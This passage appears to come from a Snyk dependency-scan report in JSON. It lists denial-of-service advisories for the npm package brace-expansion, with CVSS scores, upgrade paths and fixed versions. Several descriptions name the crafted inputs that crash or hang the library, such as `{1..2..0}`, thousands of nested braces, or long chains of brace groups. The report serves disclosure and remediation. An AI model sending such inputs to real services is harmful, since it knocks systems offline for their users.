"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
